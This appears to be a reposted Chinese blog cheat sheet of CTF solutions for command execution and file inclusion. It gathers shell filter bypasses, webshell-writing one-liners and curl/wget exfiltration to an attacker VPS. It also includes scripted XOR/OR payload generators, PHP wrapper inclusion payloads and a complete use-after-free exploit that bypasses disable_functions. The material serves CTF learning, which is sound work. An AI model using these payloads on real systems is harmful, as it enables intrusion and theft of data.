博客
关于我
CTF-RCE-总结(只记录解题方法,不记录具体原理)
阅读量:363 次
发布时间:2019-03-04

本文共 14277 字,大约阅读时间需要 47 分钟。

前言:

本文用于积累平时做题中遇到的命令执行题目的解法,有许多解题方法都是直接用的各位师傅的wp或总结中的解法,并且遇到了没有记录的方法会随时添加。

因为此部分内容太多,如有写的不好的地方请指正。


文章目录

一,命令执行


0x01 过滤cat,flag等关键词

1,代替

more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容sh /flag 2>%261  //报错出文件内容

2,使用转义符

ca\t /fl\agcat fl''ag

在这里插入图片描述

在这里插入图片描述

3,内联执行绕过

拼接flag

1;a=fl;b=ag.php;cat$IFS$a$b

在这里插入图片描述

(假设该目录下有index.php和flag.php)cat `ls` 等同于-->cat flag.php;cat index.php

4,变量绕过

a=c;b=a;c=t;$a$b$c 1.txt

5,编码进制绕过

[root~]#  echo 'cat' | base64Y2F0wqAK[root~]#  `echo 'Y2F0wqAK' | base64 -d` 1.txthello world

在这里插入图片描述

16进制

在这里插入图片描述
在这里插入图片描述

8进制

在这里插入图片描述

6,过滤文件名绕过(例如过滤/etc/passwd文件)

1) 利用正则匹配绕过[root~]# cat /???/pass*2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过[root~]# cat /etc$u/passwd备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

7,命令执行函数system()绕过

  • “\x73\x79\x73\x74\x65\x6d”(“cat%20/flag”);

    在这里插入图片描述

  • (sy.(st).em)(whoami);

    在这里插入图片描述

  • 使用内敛执行代替system

echo `ls`;echo $(ls);?>

8,使用$*$@$x,${x}

注:因为在没有传参的情况下,上面的特殊变量都是为空的

在这里插入图片描述

9,读取文件骚姿势

curl file:///flagstrings /flaguniq -c/etc/passwdbash -v /etc/passwdrev /etc/passwd

在这里插入图片描述

在这里插入图片描述

dir与ls的升级版

find -- 列出当前目录下的文件以及子目录所有文件

在这里插入图片描述


0x02 过滤空格

  • %09(url传递)(cat%09flag.php)
  • ${IFS}
  • $IFS$9
  • <>(cat<>/flag
  • <(cat</flag
  • {cat,flag}

例;

在这里插入图片描述

在这里插入图片描述


0x03 过滤目录分隔符 /

例:

采用多个管道命令即可

;cd flag_is_here;cat *

在这里插入图片描述


0x04 过滤分隔符 | & ;

1,可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号

功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd
;	//分号|	//只执行后面那条命令||	//只执行前面那条命令&	//两条命令都会执行&&	//两条命令都会执行

2,?>代替;

在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。

例题:ctfshow-web入门36

这道题过滤了分号,直接用?>来代替分号

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

0x05 字符串长度受限

root@kali:~/桌面# echo "flag{hahaha}" > flag.txtroot@kali:~/桌面# touch "ag"root@kali:~/桌面# touch "fl\\"root@kali:~/桌面# touch "t \\"root@kali:~/桌面# touch "ca\\"root@kali:~/桌面# ls -t'ca\'  't \'  'fl\'   ag   flagroot@kali:~/桌面# ls -t >a     #将 ls -t 内容写入到a文件中root@kali:~/桌面# sh aa: 1: a: not foundflag{   hahaha}a: 6: flag.txt: not found

\是指换行

ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行

0x06 无回显

一,shell_exec等无回显函数。

判断:

ls;sleep(3)

利用:

1,复制,压缩,写shell等方法

copy flag.php 1.txtmv flag.php flag.txtcat flag.php > flag.txttar cvf flag.tar flag.phptar zcvf flag.tar.gz flag.phpecho 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.phpecho "
" > webshell.php

然后访问1.txt等对应生成的文件,例:

在这里插入图片描述

在这里插入图片描述

2、在vps上建立记录脚本

在自己的公网服务器站点根目录写入php文件,内容如下:

record.php

在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`wget http://*.*.*.*/record.php?data=`cat flag.php|base64`

3,通过http请求/dns请求等方式带出数据

利用:

curl `命令`.域名

例:

#用

更多方法参考:

二,>/dev/null 2>&1

例题:ctfshow-web入门42

/dev/null 2>&1");}else{ highlight_file(__FILE__);}

>/dev/null 2>&1主要意思是不进行回显的意思

进行命令分隔即可

;	//分号|	//只执行后面那条命令||	//只执行前面那条命令&	//两条命令都会执行&&	//两条命令都会执行

payload:

cat flag.php|| cat flag.php;

0x07 Perl中open命令执行(GET)

0x08 无数字字母getshell

思路:取反 ~,异或 ^,或运算 |

羽大佬的总结:

取反:

$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=system&___=cat flag.php$_=~%A0%B8%BA%AB;${$_}[_](${$_}[__]);&_=system&__=dir$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST['a']);//蚁剑连接

用php生成;

在这里插入图片描述

异或:

php(代码用空格隔开):

//Author: 颖奇L'Amore
$value) { echo "%".dechex(ord($value)^0xff);}echo "^";foreach ($arr as $key => $value) { echo "%ff";}?>

在这里插入图片描述

用python

#Author: piCEBDC7str_= 'system'str_=list(str_)final=''for x in str_:    print(hex(~ord(x)&0xff))    final+=hex(~ord(x)&0xff)print(str_)final = final.replace('0x','%')final+='^'for x in range(len(str_)):    final+=r'%ff'print(final)

在这里插入图片描述

或运算:

示例:ctfshow-web41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。

题解:

脚本:

import reimport requestsimport urllibfrom sys import *import oscontent = ''preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/'for i in range(256):    for j in range(256):        if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):            k = i | j            if k>=32 and k<=126:                a = '%' + hex(i)[2:].zfill(2)                b = '%' + hex(j)[2:].zfill(2)                content += (chr(k) + ' '+ a + ' ' + b + '\n')f = open('rce_or.txt', 'w')f.write(content)if (len(argv) != 2):    print("=" * 50)    print('USER:python exp.py 
') print("eg: python exp.py http://ctf.show/") print("=" * 50) exit(0)url = argv[1]def action(arg): s1 = "" s2 = "" for i in arg: f = open("rce_or.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: # print(i) s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) data = { 'c': urllib.parse.unquote(param) } r = requests.post(url, data=data) print("\n[*] result:\n" + r.text)

使用方法:

python3 exp.py 题目地址

在这里插入图片描述

0x09 过滤括号

使用不需要括号的函数

  • echo
echo `cat /flag`
  • require
require '/flag'
include%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

2,不需要引号和空格

#

0x10 无参数RCE

更多无参数rce方法:

在这里插入图片描述

读取目录:

print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv())));

注:pos(localeconv())等于.

在这里插入图片描述
读取flag文件:

print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));highlight_file(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

0x11 内敛执行(常用)

常用payload:

echo `ls`;echo $(ls);?>

在这里插入图片描述

将``或$()内命令的输出作为输入执行

0x12 open_basedir绕过

单独写了一篇文章:

0x13 disable_function绕过

单独写了一篇文章:

二,文件包含

在这里插入图片描述


0x01 php://input(远程包含)

例题:

在这里插入图片描述
题解
在这里插入图片描述


0x02 php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter/convert.base64-encode/resource=index.php


0x03 data://

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

data://text/plain;base64

读php文件源码:

data:text/plain,

或者命令执行:

data:text/plain,


0x04 zip://,bzip2://,zlib://,phar://

这些没怎么用到过,记得可以用在文件上传上面,把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件。

payload如下:

index.php?file=phar://uploads/ok.zip/ok.php

这道题也可以用到这个协议

?file=compress.zlib://flag.php


0x05 日志包含

以ctfshow中一题为例:

先读取日志文件,发现可以读取

file=/var/log/nginx/access.log

然后尝试让日志包含一句话。(看日志里记录了什么信息,然后更改对应信息来写入)

接下来抓包修改UA中的内容

0x06 固定后缀包含 include($c.".php");

例题:ctfshow-web39

在这里插入图片描述
payload1:使用data协议

c=data:text/plain,

在这里插入图片描述

0x07 利用session.upload_progress进行文件包含

单独写了一篇博客:

0x08 php://filter的过滤器大全

0x09 file伪协议

?url=file:///var/www/html/flag.php

三,命令执行(补充)

一些本小白完全想不到的解法,统一放到这个地方,当做一种积累把。

0x01 直接使用目录下的命令

原理:

因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制。如图:
在这里插入图片描述

一些常用工具所在目录:

/bin/cat

/bin/base64 flag.php:base64编码flag.php的内容。

/usr/bin/bzip2 flag.php:将flag.php文件进行压缩,然后再将其下载。

… … 等等

例题:ctfshow-web入门55

|\

主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。

payload1:

/???/????64 ????.???  #/bin/base64 flag.php

在这里插入图片描述

payload2:

/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php

然后下载flag.php.bz2

在这里插入图片描述

0x02 grep绕过关键词过滤

用法:

grep {    flag.phpgrep {    f???????

打印flag.php中含有{

的行。
在这里插入图片描述

例题:ctfshow-web入门54

|\

过滤了很多关键词,正好grep没有过滤,再用${IFS}代替空格,fla?.php代替flag.php即可绕过。

payload:

grep${IFS}f${IFS}fla?.php

打印flag.php中有f的行在这里插入图片描述

0x03 使用~$()构造数字

例题:ctfshow-web入门57

|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); }}else{ highlight_file(__FILE__);}

需要传数字36进去,但是过滤了数字。

$(())=0$((~$(())))=-1

构造过程:

在这里插入图片描述
于是payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

0x04 uaf脚本绕过disable_function

例题:ctfshow-web入门72

题目进去就是这样的:

在这里插入图片描述好家伙,题目源码里的函数都禁用了,代码都显示不出来

给了源码文件如下:

你要上天吗?

这道题有严格的disable_function限制和open_basedir限制。

先利用glob://伪协议绕过open_basedir,发现根目录下有flag0.txt

payload:

c=?>
__toString().' ');}exit(0);?>

在这里插入图片描述

然后用uaf脚本读取flag。

disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行,原理是啥我也很懵。

在这里插入图片描述

脚本如下:

最后输入要执行的命令即可。

c=function ctfshow($cmd) {       global $abc, $helper, $backtrace;    class Vuln {           public $a;        public function __destruct() {                global $backtrace;             unset($this->a);            $backtrace = (new Exception)->getTrace();            if(!isset($backtrace[1]['args'])) {                   $backtrace = debug_backtrace();            }        }    }    class Helper {           public $a, $b, $c, $d;    }    function str2ptr(&$str, $p = 0, $s = 8) {           $address = 0;        for($j = $s-1; $j >= 0; $j--) {               $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }    function ptr2str($ptr, $m = 8) {           $out = "";        for ($i=0; $i < $m; $i++) {               $out .= sprintf("%c",($ptr & 0xff));            $ptr >>= 8;        }        return $out;    }    function write(&$str, $p, $v, $n = 8) {           $i = 0;        for($i = 0; $i < $n; $i++) {               $str[$p + $i] = sprintf("%c",($v & 0xff));            $v >>= 8;        }    }    function leak($addr, $p = 0, $s = 8) {           global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) {    $leak %= 2 << ($s * 8) - 1; }        return $leak;    }    function parse_elf($base) {           $e_type = leak($base, 0x10, 2);        $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) {               $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);            if($p_type == 1 && $p_flags == 6) {                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) {                    $text_size = $p_memsz;            }        }        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    }    function get_basic_funcs($base, $elf) {           list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {               $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                   $deref = leak($leak);                                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;            $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                   $deref = leak($leak);                                if($deref != 0x786568326e6962)                    continue;            } else continue;            return $data_addr + $i * 8;        }    }    function get_binary_base($binary_leak) {           $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {               $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) {                   return $addr;            }        }    }    function get_system($basic_funcs) {           $addr = $basic_funcs;        do {               $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);            if($f_name == 0x6d6574737973) {                   return leak($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }    function trigger_uaf($arg) {           $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');        $vuln = new Vuln();        $vuln->a = $arg;    }    if(stristr(PHP_OS, 'WIN')) {           die('This PoC is for *nix systems only.');    }    $n_alloc = 10;     $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');    trigger_uaf('x');    $abc = $backtrace[1]['args'][0];    $helper = new Helper;    $helper->b = function ($x) {    };    if(strlen($abc) == 79 || strlen($abc) == 0) {           die("UAF failed");    }    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;    write($abc, 0x60, 2);    write($abc, 0x70, 6);    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);    $closure_obj = str2ptr($abc, 0x20);    $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) {           die("Couldn't determine binary base address");    }    if(!($elf = parse_elf($base))) {           die("Couldn't parse ELF header");    }    if(!($basic_funcs = get_basic_funcs($base, $elf))) {           die("Couldn't get basic_functions address");    }    if(!($zif_system = get_system($basic_funcs))) {           die("Couldn't get zif_system address");    }    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) {           write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    }    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4);     write($abc, 0xd0 + 0x68, $zif_system);     ($helper->b)($cmd);    exit();}ctfshow("cat /flag0.txt");ob_end_flush();#需要通过url编码哦

0x05 disable_funcitons全通payload

该方法使用php类来绕过,可以配置disable_classes来禁用类。

读目录

$a=new DirectoryIterator("glob:///*");foreach($a as $f){   echo($f->__toString().' ');};

读文件

try {     $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');  foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {         echo($row[0])."|";  }  $dbh = null;} catch (PDOException $e) {     echo $e->getMessage();  die();}

注:必须要有PDO拓展,里面的连接数据根据情况进行更改。

该方法来自:

0x06 利用php内置类rce

一, 利用 FilesystemIterator 获取指定目录下的所有文件

例题:ctfshow-web110

payload:

?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述

二,使用PHP的反射类ReflectionClass、ReflectionMethod和PHP异常处理 Exception来rce

例题:ctfshow-web109

payload:

?v1=Exception&v2=system('cat *') ?v1=Reflectionclass&v2=system('cat *')

在这里插入图片描述

转载地址:http://umug.baihongyu.com/

你可能感兴趣的文章
Mysql-存储引擎
查看>>
mysql-开启慢查询&所有操作记录日志
查看>>
MySQL-数据目录
查看>>
MySQL-数据页的结构
查看>>
MySQL-架构篇
查看>>
MySQL-索引的分类(聚簇索引、二级索引、联合索引)
查看>>
Mysql-触发器及创建触发器失败原因
查看>>
MySQL-连接
查看>>
mysql-递归查询(二)
查看>>
MySQL5.1安装
查看>>
mysql5.5和5.6版本间的坑
查看>>
mysql5.5最简安装教程
查看>>
mysql5.6 TIME,DATETIME,TIMESTAMP
查看>>
mysql5.6.21重置数据库的root密码
查看>>
Mysql5.6主从复制-基于binlog
查看>>
MySQL5.6忘记root密码(win平台)
查看>>
MySQL5.6的Linux安装shell脚本之二进制安装(一)
查看>>
MySQL5.6的zip包安装教程
查看>>
mysql5.7 for windows_MySQL 5.7 for Windows 解压缩版配置安装
查看>>
Webpack 基本环境搭建
查看>>